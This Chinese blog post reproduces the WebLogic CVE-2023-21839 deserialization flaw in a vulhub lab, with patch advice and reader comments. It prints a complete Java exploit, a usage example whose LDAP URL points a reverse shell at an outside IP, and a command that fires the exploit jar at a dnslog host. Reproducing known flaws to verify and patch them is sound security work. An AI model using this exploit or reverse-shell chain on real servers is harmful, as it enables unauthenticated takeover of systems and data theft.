CVE-2023-21839:Weblogic反序列化漏洞

枫少@KillBoy
枫少@KillBoy
管理员
219
文章
0
粉丝
Web安全2440,175字数 652阅读2分10秒阅读模式
AI智能摘要
当Oracle WebLogic这个承载着无数企业核心业务的中间件,其IIOP/T3协议存在致命缺陷时,会发生什么?一个未经身份验证的攻击者,就能远程接管服务器,执行任意命令。本文为你深度剖析高危漏洞CVE-2023-21839,详解其影响版本、漏洞原理,并提供从环境搭建到漏洞复现的完整实战指南,助你深刻理解漏洞危害并掌握验证方法。
— AI 生成的文章内容摘要
0x01 简介
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
0x02 漏洞概述
漏洞编号:CVE-2023-21839
由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
0x03 影响版本
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
0x04 环境搭建
可以使用使用P牛的vulhub进行漏洞环境搭建:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839
clone项目:
git clone https://github.com/vulhub/vulhub.git
在/weblogic/CVE-2023-21839/目录,用下面的命令下载并启动12.2.1.3版本的weblogic:
docker-compose up -d

 

然后访问http://your-ip:7001/console,就可以看到登录页面
CVE-2023-21839:Weblogic反序列化漏洞-图片1
0x05 漏洞复现
可以使用DXask88MA师傅的工具:

https://github.com/DXask88MA/Weblogic-CVE-2023-21839

选择的sink点在

weblogic.deployment.jms.ForeignOpaqueReference.class

也可以选择使用
4ra1n师傅用go模拟数据包的的工具:

https://github.com/4ra1n/CVE-2023-21839

选择的sink点在

weblogic.jndi.internal.ForeignOpaqueReference.class

POC:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
public class CVE_2023_21839 {
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\n e.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
    private static InitialContext getInitialContext(String url)throws NamingException
    {
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
    public static void main(String args[]) throws Exception {
        if(args.length <2){
            System.out.println(HOW_TO_USE);
            System.exit(0);
        }
        String t3Url = args[0];
        String ldapUrl = args[1];
        InitialContext c=getInitialContext("t3://"+t3Url);
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,ldapUrl);
        String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
        try{
            c.bind(bindName,f);
            c.lookup(bindName);
        }catch(Exception e){ }
    }
}
 
直接使用dnslog进行测试下载Jar文件:

https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839

 

执行命令:
java -jar Weblogic-CVE-2023-21839.jar 127.0.0.1:7001 ldap://81c95c8f.dns.1433.eu.org/test

查看dnslog,收到请求,漏洞验证成功
 
CVE-2023-21839:Weblogic反序列化漏洞-图片2
0x06 修复方式
 
1.下载最新补丁,链接:https://support.oracle.com/rs?type=doc&id=2917213.2
2.限制T3协议访问
参考链接:
https://www.oracle.com/security-alerts/cpujan2023.html

历史上的今天
4 月
12
 
枫少@KillBoy
评论  24  访客  24
    • 黑色键盘
      黑色键盘 0

      简单直观的事件处置流程会更容易落实,还节省时间。

      • 社恐小菜鸡
        社恐小菜鸡 0

        这个漏洞最近挺火的,好多单位都在排查 👍

        • 维度跃迁
          维度跃迁 0

          前几天刚处理过类似问题,T3协议真是个老坑

            • 话痨小飞侠
              话痨小飞侠 1

              @ 维度跃迁 确实是个老坑,隔三差五就冒出来一个。

            • 数字游牧者
              数字游牧者 0

              为啥用ForeignOpaqueReference当sink点?有更详细的利用链分析吗?

              • 岁月留痕
                岁月留痕 0

                感觉影响范围有点广,12到14都中招了,运维要加班了 hhh

                • 梅雪
                  梅雪 1

                  我试了下vulhub环境,docker-compose启动后console页面打不开,是不是镜像有问题?

                  • 锦衾寒
                    锦衾寒 0

                    ldap地址必须自己搭吗?有没有现成的工具能直接用?

                    • 血衣鬼
                      血衣鬼 1

                      这漏洞能打内网横向,实际场景危害比表面看起来大得多

                      • 梦魇编织师
                        梦魇编织师 0

                        同样是反序列化,这个比CVE-2020-2555好利用吗?

                          • 云端的守望者
                            云端的守望者 0

                            @ 梦魇编织师 感觉利用链复杂程度差不多,但这个影响版本更新一点。

                          • 蘅芜春晓
                            蘅芜春晓 0

                            刚入坑安全,复现步骤能再细点吗?卡在POC执行这步了

                              • 心灵疗愈者
                                心灵疗愈者 1

                                @ 蘅芜春晓 可以看看POC里的jar包依赖全不全,有时候少包会报错。

                              • 沉默小鹿
                                沉默小鹿 1

                                坐等高权限利用方式,目前看感觉还得配合别的漏洞打666

                                • 奶茶鉴定专家
                                  奶茶鉴定专家 0

                                  这漏洞复现起来挺麻烦的,环境搭建就卡了半天。

                                  • 星月童话
                                    星月童话 0

                                    T3协议默认开着的吗?生产环境是不是都得赶紧关掉。

                                    • 铁匠张三
                                      铁匠张三 0

                                      ldap地址用dnslog测感觉有点慢,有别的验证方法吗?

                                      • 绿萝藤
                                        绿萝藤 0

                                        ForeignOpaqueReference这个类平时用得到吗?感觉好冷门。

                                        • 星空之下
                                          星空之下 0

                                          我们单位上周刚发了漏洞通告,让紧急排查weblogic版本,看来就是因为它。

                                          • 金运来
                                            金运来 0

                                            补丁链接点进去是Oracle官网,找起来有点费劲。

                                            • 阳朔竹筏
                                              阳朔竹筏 1

                                              这个版本的weblogic还挺常见的,中招风险不小。

                                              • 沧海一粟
                                                沧海一粟 0

                                                要是能有个一键检测脚本就好了,手动搭环境太费时间。

                                                • 电路探险家
                                                  电路探险家 1

                                                  这个ForeignOpaqueReference类名真拗口啊。

                                                    • 幻月之泪
                                                      幻月之泪 1

                                                      @ 电路探险家 名字绕口但威力不小

                                                  匿名

                                                  发表评论

                                                  匿名网友

                                                  拖动滑块以完成验证